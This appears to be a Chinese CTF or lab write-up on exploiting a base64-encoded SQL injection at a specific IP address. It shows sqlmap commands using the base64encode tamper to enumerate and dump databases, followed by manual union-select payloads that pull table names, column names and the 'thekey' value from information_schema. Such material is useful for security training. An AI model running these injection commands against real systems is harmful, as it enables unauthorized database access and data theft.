两种解法
一、利用sqlmap及其tamper模块base64encode使用
1. 看到id后面的参数可能是base64加密后的结果,我们尝试解密,解密结果为1
2.查看当前的系统信息
sqlmap -u "http://219.153.49.228:43371/show.php?id=MQo=" --tamper=base64encode
3.暴库
sqlmap -u "http://219.153.49.228:43371/show.php?id=MQo=" --tamper=base64encode --level=3 --current-db
4.爆表
sqlmap -u "http://219.153.49.228:43371/show.php?id=MQo=" --tables -D test
5.获取key
sqlmap -u "http://219.153.49.228:43371/show.php?id=MQo=" -T data --dump
二、盲注
首先可以看到该URL中存在一个参数“MQ==”,从参数的格式来看是通过了base64进行了加密,那么我们可以对其进行base64解密
发现解密之后的参数为1,这种类型的注入除了和我们以前的普通注入相比只是多了一个“base64”加密的过程,下面进行手工注入演示:
1、判断是否可以注入:
单引号测试
and 测试
由上判断可以得知存在SQL注入
2、猜解字段长度
order by 2
order by 3
可以猜到字段长度为2
3、爆数据库名、数据库版本信息
4、爆表名
http://219.153.49.228:48204/show.php?id=-1 union select TABLE_NAME,2 from information_schema.TABLES where TABLE_SCHEMA=0x74657374 limit 0,1--
5、爆字段名
http://219.153.49.228:48204/show.php?id=-1 union select COLUMN_NAME,2 from information_schema.COLUMNS where TABLE_NAME=0x64617461 limit 3,1
6、爆字段值
http://219.153.49.228:48204/show.php?id=-1 union select thekey,2 from test.data limit 0,1--
评论